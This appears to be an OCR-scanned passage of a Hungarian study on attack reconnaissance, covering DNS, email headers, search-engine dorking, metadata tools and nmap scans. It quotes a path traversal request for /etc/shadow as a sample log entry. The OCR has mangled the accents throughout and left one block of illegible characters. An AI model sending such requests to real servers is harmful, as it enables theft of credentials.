
72.14.238.25 (72.14.238.25) 28.486 ms

209.85.244.245 (209.85.244.245) 19.975 ms
9 google-public-dns-a.google.com (8.8.8.8) 19.784 ms 20.845 ms
39.901 ms

Ezzel a halozati feltérképezéssel mind belsd, mind kiilsd halozat felmérése, feltérképezése elvé-
gezhetd, meghatarozva a haldzati forgalom szempontjabodl kulcs szerepet jatszo routereket, azonosit-
va a forgalmazast biztositd halozati eszkdzoket.

Az interneten keresztiili forgalom vizualis megjelenitésére hasznalhat6 a VisualRoute alkalmazas,
amely a http://www.visualroute.com/ cimen érhet6 el.

Bevett szokas, hogy a tamadas célpontjat a szintén icmp alapu Ping-el keresik meg, am ez — példa-
ul ICMP Echo Reply tiltasaval — fals negativ eredményt adhat az elérhetdségrol.

A halozat felderitése mellett a haldzati forgalom felderitése is fontos a sikeres tamadas kivitele-
zésének szempontjabol. Ha a halozati forgalom, a megfigyelt haldzatra csatlakoztatva lehallgathato,
ugy konnyen hozza lehet férni a haldzaton talalhaté alkalmazasok felhasznaléi adataihoz, a hal6zaton
tovabbitott informécidhoz és egyéb, a tamadas szempontjabol sikert jelentd informacidkhoz.

4.1.3. Domain azonositisa

A tamadast megel6z6 informaciogyljtés egyik eleme a domain azonositasa. A tdmadé a vizsgalata
soran azonositja a szervezet altal hasznalt domain neveket, a domain nevekhez kapcsolodo levelezo-
szervereket, DNS kiszolgalokat. A Domain név rendszer globalis koordinaciojaért, a DNS gyokérért,
az IP cimek felosztasaért és a tobbi, Internet Protocol eréforrdsaiért az Internet Assigned Numbers
Authority (IANA®) felel6s.

Az Ipv4 TP cimek esetén koriilbeliil 4,25 milliard IP cim kezelése, kiosztasara van lehetOség.
A konnyebb hasznalatért keriilt bevezetésre a domain szolgéltatas. A domain bejegyzések leforditasat
IP cimre a DNS (Domain Name Service) szolgéltatas teszi lehetdveé, azaz egy-egy weboldalt kiszol-
galo IP cimek és a weboldalak domain nevei dsszerendelésre keriiljenek.

A tarsasagok, szervezetek, iskolak, korméanyzati szervek, de a maganemberek részére is nyitva all
a lehetdség, hogy sajat domain nevet regisztraljanak. Magyarorszagon ezt a feliigyeleti, regisztracios
¢és nyilvantart6 tevékenységet, a .hu TLD (Top Level Domain) esetén a felelds az Internet Szolgalta-
tok Tanacsa (ISZT)®".

8 https://www.iana.org (utolsé let6ltés: 2018.09.18.)
1 http://www.domain.hu/domain/ (utolsé let6ltés: 2018.09.18.)
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crer

egy masodlagos) megfeleld konfiguracidja és legalabb egy levelezdszerver meghatarozasa sziikséges.
Ezen informaciokat a domain regisztracios informacioi koziil lehet lekérdezni. A .hu TLD ala regiszt-
ralt domainek esetén a ,,whois” lekérdezések nem minden esetben adnak kell6 informaciot.

A http://www.domain.hu/domain/ oldalon keresztiil lehet lekérdezni a weboldalakhoz tartozé do-
mainekre vonatkoz¢ informaciokat. A lenti példan az uni-nke.hu domain technikai informécioi lat-
hatdak.

jJdobbq=Jfl=xi44aJ4aEK Uiz=a¢aa=iEe4¢a=OMNTMVMR=~i=OMNUJMPJNUKNVWMN=
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jJolh=Jfl=xidaJaaEK Uiz=pl*=6~&~aEiEéé= Agaeao i4iU=o0fmb=
jTkp=JfI=xiaaJaaEK Uiz="=¢E A ¢éCé=N¢é=akp=6E&iEes W=
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jIqokl=JfI=xidaJaaEK Uiz=¢aaé¢aaO=ié~AEéciiEI=¢EéiEéé=¢4=CaNN=3Fié=
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A domain informacidkbdl tajékozddni lehet arrdl, hogy a domain — illetve a weboldal — miikodéséhez
mely infrastruktura elemek lehetnek sziikségesek. Az NS kiszolgaldkon talalhatoak a domainhez tar-
toz6 ugynevezett zonafijlok, amelyek a domainnel kapcsolatban tovabbi informaciot tartalmaznak:

* tovabbi levelezOszerverek cimei,

* hasznalt és nem hasznalt aldomain bejegyzések,

* aDNS lejarati ideje,

* Dbejegyzett atirdnyitasok stb.

Az elsédleges és masodlagos névszerver (NS) a hibatliré miikodéshez sziikséges. A két kiilonb6zo
névszerver magasabb rendelkezésre allast biztosit a névfeloldas tekintetében, hiszen barmelyik kie-
sése esetén a masik tovabb tudja folytatni a miikddést. A két névszerveren azonos zonaféjlnak kell
lennie, amit ugynevezett zonatranszfer eljarassal szinkronizalnak.

A DNS kiszolgalok hibas konfiguracidja esetén a zonaféjl példaul zonatranszferrel elérhetd. Az
igy letoltott zonafajlok lehetdséget adnak visszaélésre, illetve aldomainek hasznalata esetén, a kiil-
s6-belso szolgaltatasok egyidejii hasznalatakor a tdimaddnak informacidval szolgalnak a kizarolag a
tarsasag halozatan beliil hasznalt weboldalakrol.

4.2. E-mail informaciogytijtés
A szervezeten beliili és azon kiviili hatékony kommunikéci6 egyik eszkoze az e-mail. Mivel a hasz-

nalata elterjedt, igy ez egy alapvetd forrasa a tarsasag altal hasznalt szoftvereknek, halozati informa-
cidknak.
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Emellett jo alapja tud lenni egy célzott phishing tAmadasnak, ha kiszivarogtathato, kicsalhat6 a
belsé kommunikacidban hasznalt betlitipus, levél formazas, illetve az e-mail cim képzésének algorit-
musa. Az informéciot gylijté tamadonak hasznos, ha tisztaban van azzal, milyen szabalyok azok, ame-
lyek mentén a leveleket olvasd munkatars meggydzhetd arrdl, hogy a kapott levél valodi, azaz milyen
adatokkal tudja hitelessé tenni azt. Ez a fajta timadas a Social Engineering témakorébe tartozik.

4.2.1. Header informdciok

Az elektronikus levelek header informacioi tobbek kozott felfedik a tarsasag éaltal hasznalt levelezd
kliens tipusat, informacioval szolgalnak a belsé halozatban hasznalt IP cimekrdl és hasznos listat ad-
nak arro6l, milyen belso — illetve kiils6 — kapcsolatokon, e-mail atjarékon keresztiil kozlekedik a levél.
A példéban szerepld vagy ahhoz hasonld informéaciok minden esetben megtalalhatdak a levelekben:
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Ilyen informacidok megszerzésére a tamado igénybe veszi a tarsasag altal nyjtott marketing e-mail
lehetdségeket. Sok esetben ezek az e-mail-ek nem a tarsasdg informatikai rendszerén keresztiil ke-
rilnek kikiildésre, ezért a tarsasag altal iizemeltetett ligyfélszolgalati és hibabejelentd lehetdségek is
célkeresztben vannak.

Annak elkeriilésére, hogy az szervezet informatikai rendszerérdl, e-mail rendszerének miikodésé-
6l a sziikségesnél tobb informacid alljon egy esetleges tdmado rendelkezésére, fliggden az informa-
tikai rendszer biztonsagi besoroldsarol, ovintézkedéseket érdemes tenni.

4.2.2. Automatikus valaszok

A szervezeten beliil elterjedt levelezési szokasok magukkal hozzak annak sziikségességét, hogy tu-
dassuk munkatérsainkal, veliink kapcsolatban allokkal, ha levelezésiinket nem érjiik el, azon keresz-
tiil munkankat nem latjuk el. Ilyen esemény a szabadsag vagy barmilyen egyéb okbol kifolydlag az
elérhetetlenség kommunikacioja. Am ahogyan munkatarsainknak, Gigy a timadonak is hasznos infor-
macioval tud szolgélni a tavollétiink értesitdje.

4.2.3. Forumok haszndalata

Informécid gylijthetd a tarsasag eszkozeirdl, halozatarol indirekt modon is. Publikus forumokon, a
tarsasag altal hasznalt e-mail cimekkel bejegyzett kérdések, megoldasra vard informatikai problé-
mak illetve publikalt megoldasi javaslatok sok lehetdséget tartogatnak a timadashoz informaciot
gyijtének.

A tarsasag informatikai eszkozeirdl, haldzatarol, architektarajardl, hasznalt védelmi mechanizmu-
sair6l publikus vagy privat forumokon torténd értekezés a tdamadot hozzasegitheti olyan ismeretek
megszerzéséhez, amelynek birtokaban a tdmadas tervezése esetén akar sériilékenység oldalon, akar
Social Engineering technikdk bevetésével elérébb 1éphet.

4.3. Weboldal forrasanak elemzése

A tarsasag altal lizemeltetett weboldalak tartalmanak tlizetes atnézésén tul a weboldal forrasanak
elemzése egy fontos Iépés. Amellett, hogy a timadd meglatogatja a weboldalt, feltérképezi annak
dinamikus ¢és statikus elemeit, felderiti a hasznalt titkositast, informaciot szerez a weboldal szerkeze-
térol, felépitésérol, mikodeésérol.

A weboldalon keresztiili timadas lehetdségét csokkentheti — de nem zérja ki — a statikus web-
oldalak haszndlata, azaz olyan metddusok igénybevétele, amely kizarja a felhaszndl6 oldali input
megadasat mezokben. A dinamikus weboldalak sériilékenységének egyik forrasa a nem megfeleld
beviteli mezd ellendrzés és ezaltal a weboldalon keresztiili hozzaférése a nem megfelelden védett
informacioknak. A statikus weboldalakkal tizemel6 kiszolgal6é a weboldal programozasabdl fakado
biztonsagi hianyossagok tobbségét is megeldzi. Viszont nagy hatranya, hogy a felhasznaléi élményt
nagymértékben csokkentheti, hiszen a weboldalakon megjelend tartalom nem személyre szabhato.

A weboldalak forrasanak elemzése tovabbi hasznos informaciot szolgaltat, mint a weboldal felépi-
tése, a fajlstruktura informécidk, elérhetd aloldalak, kiszolgalé miikodése.

A tdmado sok esetben letolti a teljes weboldal tartalmat, azaz pillanatfelvételt készit az elérhetd
tartalomro6l. Ehhez automatizalhaté eszkdzoket is igénybe lehet venni, mint példaul a ,,HTTrack”.
Ez az eszkoz lehetdvé teszi, hogy egy, az interneten elérhetd weboldal tartalmardl rekurziv modon
masolat késziiljon lokalis gépre, beleértve a HTML forrést, képeket és minden egyéb fajlt, amelyet a
szerver megoszt, meghivatkozik.
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A HTTrack leképezi az eredeti weboldal hivatkozasi struktirajat, linkjeit. Ezzel lehetévé teszi,
hogy offline bongészhetd legyen a weboldal és a tiikrozott, vagy masolt oldalak ugyantigy miikddni
fognak. Emellett a masolatot barmikor lehet frissiteni, illetve a megszakadt letoltést folytatni.

Forras: https://www.httrack.com

A weboldal felépitése, f4jl szintli informaciok hozzaférése eldsegiti a tamadas tervezését. Ehhez a ta-
mado automatizalt eszkozt is igénybe vehet, amelyek a szamara sziikséges informaciokat elézetesen
kikeresik a forras fajlokbdl. Ilyen automatizalt eszkdzok az ugynevezett ,,spider” eszk6zok vagy a
,,crawler” eszkozok.

Egy tovébbi, a tAmaddsnak mar az informaciogytijtési szakaszaban komoly biztonsagi hidnyossa-
got lehet kihasznalni, ez az igynevezett ,,Path Traversal Attack. Egy rosszul konfiguralt webkiszolga-
16 esetén vagy elégtelen jogosultsagkezelési bedllitasokkal olyan f4jlokhoz is hozz4 lehet férni, ame-
lyek kiviil esnek a webkiszolgald gyokér konyvtaran. Ilyen tamadéasokkal mar az informéciogyiijtési
fazisban lehet talalkozni. Ilyen tipust elégtelen biztonsagi beallitasok esetén tobbnyire tovabbi al-
kalmazasok adataihoz lehet hozzaférni, esetleg a nem kell6en védett adatbazisrol lehet masolatot
késziteni, illetve a kiszolgalod operacios rendszerének egyéb adataihoz, tartalméhoz, mint a shadow
fajl is hozza lehet férni.

Az ilyen tdmadas esetén példaul az alabbi bejegyzéssel talalkozhatunk a weboldal naplofajljaiban:

GET /../../../etc/shadow

A ,,shadow” f4jl kikeriilésével a tamado hozzaférhet a weboldal lizemeltetéséhez kapcsolodo fel-
hasznaloi nevekhez és jelszavakhoz, amelyek megkonnyitik a bejutdst vagy az érzékeny informaci-
6hoz val6 hozzaférést, vagy konnyiiszerrel visszaélhetnek a magas, példaul root jogosultsagokkal.
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Dinamikus weboldalak esetén, amennyiben a webszerver megfeleld védelmet nyujt a ,,Path Tra-
versal Attack™ ellen, a webszerveren futtatott php vagy egyéb kod is rendelkezhet ilyen tipusu sérii-
1ékenységgel.

4.3.1. Metaadatok és megosztott dokumentumok

A tarsasag weboldalainak forrasa mellett a tarsasdg weboldalain megosztott dokumentumok is tar-
togatnak az informaciogytijtésben jartas tdmado részére hasznos informéciokat. Tobbek kozott a ké-
szitett dokumentumokok megdrizhetik a szoftverek verzidszamat, amivel késziiltek. A készito adatai,
cégen beliil hasznalt azonositdi is értéket képviselhetnek a sikeres timadas érdekében.

Az informaciogylijtéshez automatizalt szoftverek hasznalata elterjedt, amelyek a weboldalrdl 6sz-
szegyljtik az elérhetdé dokumentumokat, letoltik €s megfeleléen paraméterezve a metaadatokat ezek-
kel kilistazhatoak. Az egyik elterjedt eszkdz a FOCA®.

Forras: https://www.elevenpaths.com/labstools/foca/index. htm!

A FOCA (Fingerprinting Organizations with Collected Archives) egy olyan eszk6z, amelyet elssor-
ban metaadatok és rejtett informaciok keresésére hasznalnak a dokumentumokban. Ezek a dokumen-
tumok lehetnek weboldalak, és letolthetok és elemezhetok az FOCA-val.

Képes a dokumentumok széles skaldjat elemezni, amelyek koziil a legaltalanosabb a Microsoft
Office, az Open Office vagy a PDF fajlok, bar példaul elemzi az Adobe InDesign vagy SVG fajlokat is.

Ezeket a dokumentumokat harom lehetséges keresdmotor keresésére keresik: a Google, a Bing
¢s a DuckDuckGo. A harom motor eredményeinek 6sszege sok dokumentumot tartalmaz. Lehetdség
van helyi fajlok hozzaadasara is, hogy kivonjak az EXIF informdaciokat a grafikus fajlokbdl, és az
URL-en keresztiil felfedezett informaciok teljes korli elemzése a fajl letdltése elott is elvégezhetd.

Az 0Osszes fajlbol kivont Osszes adat esetében az FOCA megegyezik az informéciokkal annak
megprobalasaval, hogy azonositsa mely dokumentumokat hozta 1étre ugyanaz a csapat, €s milyen
szerverek ¢és ligyfelek szdrmazhatnak beldliik.

Masik elterjedt eszk6z a Metagoofil®.

82 https://www.elevenpaths.com/labstools/foca/index.html (utolsé let6ltés: 2018.09.20.)
8 https://tools.kali.org/information-gathering/metagoofil (utolso letsltés: 2018.09.20.)
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A Metagoofil egy informaciogyijté eszkdz, amely a célkdzonséghez tartozo nyilvanos dokumen-
tumok (pdf, doc, xls, ppt, docx, pptx, xlsx) metaadatainak kinyerésére szolgal.

A Metagoofil keresést fog végrehajtani a Google-ban, hogy azonositsa és letdltse a dokumentumo-
kat a helyi lemezre, majd kivonja a metaadatokat kiilonb6z6 konyvtarakkal, mint példaul a Hachoir, a
PdfMiner? és masok. Az eredményekkel jelentés, felhasznaloi nevek, szoftver verzidk és kiszolgalok
vagy gépnevek készithetok, amelyek segitik a behatolasjelzdket az informaciogyiijtés szakaszaban.

5. Rendszer informaciogyiijtés
5.1. Keres6 motorok

Az informacidgytijtés egyik elsd 1épése, hogy keresé motorokon keresztiil jut a timadé informacio-
hoz. A keres6 motorok, mint a Google és a Bing konnyen adhatnak informaciot a szervezetrdl, koztiik
olyanokat is, amelyeket az titokban akart tartani vagy éppen mar feledésbe mertilt. Ilyen informaciok
konnyedén megjelenhetnek a keresések eredményeképp.

Keresd motor hasznalataval megtalalhatd rengeteg olyan értékes informdcio, amely felfedésére
sosem gondoltak a szervezetnél, mint munkavallaléi adatok, technologidk, bejelentkezési feliiletek,
belsd hasznalatu portalok stb. Elsd 1épésként tobbnyire a tarsasag nevével indul a keresés, innen fino-
mithatoak a keresési beallitasok.

5.1.1. Google advanced search

Az alabbi tablazat felsorolja azokat a keresési operatorokat, amelyek az egyes Google keresési szol-
géltatdsokat hasznaljak.

Search Service Search Operators

Web Search allinanchor:, allintext:, allintitle:, allinurl:, cache:, define:, filetype:,
id:, inanchor:, info:, intext:, intitle:, inurl:, link:, related:, site:

Image Search allintitle:, allinurl:, filetype:, inurl:, intitle:, site:

Groups allintext:, allintitle:, author:, group:, insubject:, intext:, intitle:
Directory allintext:, allintitle:, allinurl:, ext:, filetype:, intext:, intitle:, inurl:
News allintext:, allintitle:, allinurl:, intext:, intitle:, inurl:, location:, source:
Product Search allintext:, allintitle:

Legalapvetobb operatorok bemutatasa:

Cache: Lekérdezi a gyorsitotarat: az url a weboldal aktudlis verzidja helyett megjeleniti a Google
gyorsitotarban tarolt valtozatat. Példaul a [gyorsitotar: www.eff.org] megjeleniti az Elektronikus
Frontier Alapitvany honlapjanak gyorsitotarban tarolt valtozatat.

Az oldal gyorsitotarazott valtozatanal a Google kiemeli a lekérdezésben szerepld kifejezé-
seket, amelyek a gyorsitotar: keresési operator utan jelennek meg. Példaul a [gyorsitotar: www.
pandemonia.com/flying/ fly diary] megjeleniti a Google gyorsitotaras verzidjat, amelyen Hamish
Reid dokumentumai tartalmazzak a ,,fly” €s a ,,napld” kifejezéssel valo megtanulast.
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Filetype: Ha a lekérdezésbe felveszi a filetype: utdtagot, a Google az eredményeket olyan oldalakra
korlatozza, amelyek nevében végzddik az utdtag. Példaul a [weboldal értékelést ellendrzd lista
fajltipus: pdf] visszaadja az Adobe Acrobat pdf fajljait, amelyek megfelelnek a ,,web”, ,,0ldal”,
Hertékelés” és ,ellendrzo lista” kifejezéseknek. Az eredményeket olyan oldalakra korlatozhatja,
amelyek neve véget ér pdf €és doc az OR operator hasznalataval, pl [email security filetype: pdf
vagy filetype: doc].

Ha nem adja meg a F4jlformatumot a Specialis keresési {irlapon vagy a filetype: operator, a
Google kiilonboz6 fajlformatumokat keres.

Link: A lekérdezési link: Az URL olyan oldalakat mutat, amelyek erre az URL-re mutatnak. Példaul

olyan oldalak kereséséhez, amelyek a Google Utmutaté kezdélapjara mutatnak, irja be:

[link: www.googleguide.com]

Megjegyzés: A Google dokumentacidja szerint ,,nem lehet 6sszekapcsolni egy hivatkozast: a
keresés rendszeres kulcsszo-kereséssel”.

Figyelembe kell venni, hogy ha 6sszekapcsolésra keriil a link: egy masik advance operatorral
a Google nem adhatja vissza az Osszes olyan oldalt, amely egyezik. Az alabbi lekérdezéseknek
sok eredményt kell visszaadniuk, mivel lathatja, hogy eltavolitja-e a ,,site” kifejezést mindegyik
lekérdezésben.

Példa a keresésre, olyan linkeket a Google kezddoldalara, amely nem a Google sajat webhe-
lyén talalhato.

[link: www.google.com -site: google.com]

Az alabbi operatorral pedig utasithato, hogy keresse meg az Egyesiilt Kiralysag tulajdonosa-
inak kozvetlen honlapjara mutaté linkeket, amelyek nem a sajat webhelyén talalhatok.

[link: www.direct.hu — site: ownersdirect.co.uk]

Site: A site: lekérdezésben a Google a keresési eredményeket a megadott webhelyre vagy domainre
korlatozza. Példaul a [admissions site: www.lse.ac.uk] megjeleniti a London School of Econo-
mics webhelyének felvételi adatait, és a [béke site: gov] a .gov domainen beliili béke szot talalja
meg. Megadhat6 egy olyan tartomany is, amelynek idOtartamara vagy anélkiil van, példaul .gov
vagy gov.

Szamos keresési operatort hasznalhat a +, -, az OR ¢és a ,,” alapkutatasi operatorokkal egyiitt.
Pé¢ldéaul, ha a Windows biztonsagat minden webhelyrdl a keresési cél, kivéve a microsoft.com
webhelyet, a kdvetkezd paranccsal érhetd el:

[windows security -site: microsoft.com]

A talédlatokat egy olyan webhelyre vagy tartomdnyra is lehet korlatozni, amely a Részletes
keresés oldalon talalhat6 tartoméanyok valasztojan keresztiil torténik.

Source: Ha a source: beallitasra keriil, a Google Hirek a lekérdezésben korlatozza a keresést a hir-
forrasbol szarmazo cikkekkel a megadott azonositoval. Példaul a [valasztasi source: new_york
times] a New York Times-ban megjelend ,,valasztas” szavakat adja vissza valaszul.

Hirforras-azonositd megkereséséhez olyan lekérdezést kell beirni, amely tartalmaz egy kife-
jezést és a keresett publikacié nevét. Megadhato a kozzététel nevét a , Hirekforras” mezdben is
az Advanced News Search forméaban. Megtaldlja a hirforrds azonositot a lekérdezési mezdben, a
forrast kovetve: keresési operator. Tegyiik fel példaul, hogy a Hirforras mezdbe irja be a Ha'aretz
kiadvanynevet, majd kattintson a Google Search gombra. Megjelenik az eredményoldal, és a
keresémezdje [béke forras: ha aretz  subscription]. Ez azt jelenti, hogy a hirforrds azonositdja
ha aretz subscription_. Ez a lekérdezés csak olyan cikkeket kiild vissza, amelyek tartalmazzak
a ,,béke” szot az izraeli ,,Ha'aretz” laprol.
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5.1.2. GHDB

A ,,Google Hacking Database”, roviden GHBD® egy kategorizalt indexe az internet keres6 motor
lekérdezéseknek. Célja, hogy leleplezzen érdekes, altalaban érzékeny informaciot és publikusan
elérhetdvé tegye. A legtobb esetben ezek az informaciok korét nem szantdk publikusnak, de ezen
informécidk valamilyen oknal fogva egy interneten publikusan elérheté web dokumentumhoz ke-
rliltek linkelésre és a keresd motor, amely rendszeresen lekoveti a linkeket, igy indexeli az érzékeny
informaciot.

A gyorsan és konnyen feltarhat6é informaciok széles kore meglepd és szinte korlatlan, beleértve
az Osszes ,,személyazonositasra alkalmas informéciot (PII)”, titkos dokumentumokat, jelszavakat,
halozati adatokat és még sok mast. Mindez bonyolult eszk6zok nélkiil is felfedezhetd. Minddssze
egy webes keresdmotor (példaul a Google), az alapvetd keresési operatorok hasznalata, a kreativités
egészséges dozisa, és leggyakrabban a fejlett keresési operatorok rekurziv hasznalata a keresési ered-
mények sziikitésére, példaul célzas és elszigetelés céljabol specifikus weboldalakat vagy domaineket
kereshet, bizonyos fajltipusokat kereshet, kereshet az URL-mez6ben, vagy kereshet bizonyos érzé-
keny kifejezéseket.

5.1.3. Archive.org

Az Archive.org egy non-profit internetes archivum internetes oldalak és mas kulturalis targyak digi-
talis konyvtarat digitalis formaban épiti. Mint egy papir kdnyvtar, ingyenes hozzaférést biztositunk
a kutatoknak, a torténészeknek, a tudosoknak, a nyomtatasnak és a nagykozonségnek. Kiildetésiink,
hogy egyetemes hozzaférést biztositson minden tudashoz.

Az internet archivum torténete 1996-ban kezdddott el, az internet archivalasaval, egy olyan médi-
ummal, amely éppen kezdett ndvekedni a hasznélat soran. Mint az Gjsagok is, az interneten kdzzétett
tartalom atmeneti volt — de az ujsagokkal ellentétben senki sem mentette meg. Manapsag 20+ éves
webes elézmények elérhetdk a Wayback Machine-en keresztiil, és 450+ konyvtarral és mas partne-
rekkel dolgoznak az Archive-It programon keresztiil, hogy azonositsak a fontos weboldalakat.

Amint a webes archivumunk ndvekedett, ugy tettiink elkdtelezettséglinket is, hogy mas kiadott
miivek digitalis verzioit is biztositsuk. Ma az internet archive tartalmazza:

e 279 milliard weboldalt

e 11 milli6 kényv és szoveg

* 4 milli6 hangfelvétel (beleértve 160 000 €16 koncertet)
»  milli6 video (koztiik 1 millio televizids hirmiisor)

* 1 millioé kép

« 100 000 szoftver

Az Archive.org nagyon j6 kiindulé ahhoz, hogy az informaciogytijtést végzé tdmado hozzaférjen
1-2-5 évvel ezelbtti webes tartalmakhoz a tarsasag weboldalarol, vagy éppen 6sszehasonlito elemzé-
sek alapjan a tarsasag szervezeti valtozasait lekdvesse.

5.2. Network scanning, banner informdcio

A halozati informaciok Osszegytjtése egy aktiv felderitési modszer. Ahhoz, hogy az automatizalt
eszkozokkel gylijthetd informaciot elemezni tudjuk, alapvetd ismeretekkel kell rendelkezni példaul
a TCP/IP protokoll miikodésérdl, vagy a halozaton megtaladlhato kiszolgalokon elérhetd altalanos
szolgaltatasok protokolljanak, példaul HTTP vagy SSH sajatossagairol.

8 https://www.exploit-db.com/about-ghdb/ (utolso letdltés: 2018.09.20.)
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Az internetes protokollcsomag az interneten és hasonld szamitdégépes halozatokon hasznalt kom-
munikéciés protokollok fogalmi modellje és készlete. Altalaban TCP/IP® néven ismeretes, mert a
csomagban talalhat6 alapit6é protokollok a TCP (Transmission Control Protocol) és az Internet Pro-
tocol (IP). Ez néha a Department of Defense (DoD) modellként ismert, mivel a halézati modszer
fejlesztését az Egyesiilt Allamok Védelmi Minisztériuma finanszirozta a DARPA-n keresztiil.

Az Internet protokollcsomag végponttdl végpontig terjedd adatkommunikécidt biztosit, amely
meghatarozza, hogyan kell:

* csomagolni,

* cimezni,

* tovabbitani,

* iranyitani és

» fogadni az adatokat.

Ez a funkcionalitds négy absztrakcids rétegre van felosztva, amelyek az 6sszes kapcsoldédod pro-
tokollt a halozatba foglalas szerint csoportositjak. A legalacsonyabbtdl a legmagasabbig a rétegek a
linkréteg, amely kommunikaciés modszereket tartalmaz az olyan adatok szamara, amelyek egyetlen
halézati szegmensben (link) maradnak; az internetes réteg, amely biztositja az internetes egytittmii-
kodést fiiggetlen halozatok kozott; a szallitasi réteg kezeli a fogadd-fogadé kommunikécidt; és az
alkalmazasréteget, amely az alkalmazasok folyamat-folyamat adatcserét biztosit.

OSI modell TCP / IP modell

Alkalmazasi réteg

Megjelenési réteg Alkalmazasi réteg

Viszonyitas réteg

Szallitasi Szallitasi réteg
Halozati Internet réteg
Adatkapcsolati

Halozati hozzaférés réteg
Fizikai

Az internetes protokoll-csomagot és szamos alkotd protokolljat meghataroz6 technikai szabvanyokat
az Internet Engineering Task Force (IETF) tartja fenn. Az internetes protokollcsomag az OSI modellt
megeldzi, az altalanos haldzati rendszerek atfogobb referenciakeretét.

8 https://en.wikipedia.org/wiki/Internet_protocol_suite (utolso letdltés: 2018.09.20.)
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A TCP/IP példaul az alabbi modon épiti fel a kapcsolatot kliens €s szerver kozott:

4. abra. Forras: sajat dbra.

Az automatizalt halézati vizsgald szoftverek, mint példaul az NMAP, szimuldlja tobbek kozott a
TCP/IP miikodését €s a halozaton megtaldlhatd hosztokhoz, mint kiszolgalo szerverekhez fordul és
kéréseket intéz a kiilonbozd, beallithatod port tartomanyokra.

A célszerver feltérképezésének egyik legjobb eszkdze az NMAP.

A tamadas célpontjaként meghatarozott kiszolgalok tavoli feltérképezésének az eszkdze az Nmap
szoftver, amellyel felderithetd, hogy a tAmadas célpontja 1étezik-e és milyen szolgaltatasok elérését
nyUjtja. Ahhoz, hogy sikeres tdmadast lehessen végrehajtani, a kiszolgalonak elérheté — open — port-
tal kell rendelkeznie, amelyen keresztiil a szolgaltatas megszolithato.

Az alabbi példaban egy kiszolgdlo nmap vizsgalata lathato, amely feltarja, hogy milyen szolgalta-
tasok érhetdek el az eszkdzon, azaz ezzel lesziikithetd milyen tipikus timadéasokat lehet végrehajtani.

shadowcat:~ admin$ nmap 192.168.1.1

Starting Nmap 7.50 ( https://nmap.org ) at 2018-03-02 17:26 CET
Nmap scan report for 192.168.1.1

Host is up (0.028s latency).

Not shown: 996 closed ports

PORT STATE SERVICE

80/tcp open http

139/tcp open netbios-ssn

443/tcp open https

445/tcp open microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds

Az Nmap egy nagyon sokoldalu, halézat vizsgélatra alkalmas eszk6z, melyrdl bévebb informacio itt
érhetd el: https://nmap.org
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A banner informaciok a szamitogépes haldzaton talalhato kiszolgald szervereken vagy kliens gé-
peken talalhato szolgaltatasokrol ad bovebb informaciot. Belsd halézaton miikddtetett szolgaltatasok
esetén elterjedt, hogy kiegészitd tlizfal nem védi azokat, igy szabadon hozzaférhetoek.

Az Nmap hasznalataval tovabbi informacio gytijthetd ezekrdl a kiszolgalokrol. Példaul az el6zd
vizsgalatban szerepld IP cimrdl az ,,-sS” kapcsoldval felderithetd, hogy milyen tipusu eszkozrdl
van szo:

MAC Address: C0:56:27:21:3C:A7 (Belkin International)

A kiszolgalok védelme érdekében fel kell késziilni arra, hogy interneten elérhetd szolgéltatasokrol a
lehetd legkevesebb informacid legyen elérhetd. Ebbe beletartozik az, hogy a szolgéltatasok egysze-
ri scannelése ne tartalmazzon olyan adatokat, amelyek egy tdmadashoz informéacioval szolgalnak.
Ilyen adatok tobbek kozott a kiszolgalok gyartojara, operacios rendszerére, verzidoszdmara vonatkozd
informaciok. Ezek ismeretében és az esetleges, publikus — vagy nem publikus — forrasbol szarmazé
exploitok sikeres tdimadashoz vezetnek.
Szintén az Nmap hasznalataval feltarhatod, hogy az adott eszkozt védi-e tlizfal vagy sem. Ennek

megitéléséhez alabbi jelolések talalhatoak a kiszolgalon futtatott portok jelolésében.:

* Open: A port nyitva és szolgaltatas érhetd el rajta.

* Closed: A porton szolgaltatas nem elérhetd.

+ Filtered: A szolgaltatas a porton elérhetd, de tlizfal altal alkalmazott szabalyrendszer védi.

Mivel a felderitésnek egyik alapelve, hogy tobb vizsgalatot hajtanak végre, kiilonb6zd idében,
kiilonboz6 tipust scannelések kiilonbozd eredményeket adnak. Ebbdl a tamadas kivitelezéséhez tobb
informaciot fednek fel. Példaul az ,,sX”

shadowcat:~ root# nmap -sX 192.168.1.1

Starting Nmap 7.50 ( https://nmap.org ) at 2018-03-04 19:42 CET
Scanning 192.168.1.1 [1 port]

Initiating XMAS Scan at 19:42

Scanning 192.168.1.1 [1000 ports]

Completed XMAS Scan at 19:42, 1.57s elapsed (1000 total ports)
Nmap scan report for 192.168.1.1

Host is up (0.01ls latency).

Not shown: 996 closed ports

PORT STATE SERVICE

80/tcp open|filtered http

139/tcp open|filtered netbios-ssn

443/tcp open|filtered https

445/tcp open|filtered microsoft-ds

MAC Address: C0:56:27:21:3C:A7 (Belkin International)

Amennyiben a hal6zaton lizemeld kiszolgalordl nem azonosithatd az operacids rendszer tipusa, to-
vabbi felderitéssel jo eséllyel meg lehet tippelni azt. Ehhez példaul az ,,Xmas” scan halozati for-
galmabol lehet kovetkeztetni. Open port esetén, amelyen nincs sziirés alkalmazva, unix rendszerek
esetén ,,Push-Urgent-Fin” TCP csomagok érkeznek vissza, mig windows rendszerek esetén az eldb-
bieken kiviil ,,RST” is.

A tamadas sikeres kivitelezéséhez a megszerzett banner informaciok alapjan a tdmadok azonosit-
jék a sikeres tdmaddshoz sziikséges sériilékenységeket.
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5.3. Sériilékenységek

A sériilékenységeknek azokat a kodhibéakat, hibdsan programozott eljarasokat vagy helyteleniil imp-
lementalt szoftvereket nevezziik, amelyek kihasznalasaval illetékteleniil lehet hozzaférni a tarsasag
adataihoz, jogosultsagot lehet szerezni az informatikai rendszerekhez, szoftverekhez, azok miikodé-
sét akadalyozni lehet vagy ellehetetleniteni.

5.3.1. ,,Public disclosure”

Public Disclosure, azaz a feltart sériilékenységek széles korben torténd publikalasa feleldsséggel jar.
A javitatlan sériilékenység tdmadasra torténd kihasznaldsa hatdsat tekintve a teljes vilagra kiterje-
d6 problamat jelenthet. Elég csak a 2017. méjusdban elszabaditott zsaroldvirusra emlékezni, amely
,» Wannacry”*® néven vonult be a kdztudatba és hatékony terjesztésé¢hez a Windows SMB protokollja-
nak sériilékenységét hasznalta ki, amelyet ,,EthernalBlue”®” néven azonositanak.

A szoftvergyartok hangsulyt fektetnek arra, hogy a szoftvereikben feltart €s a tudomasukra hozott
sériilékenységek javitasra keriiljenek. Az etikus eljaras keretében egy-egy feltart sériilékenységet a
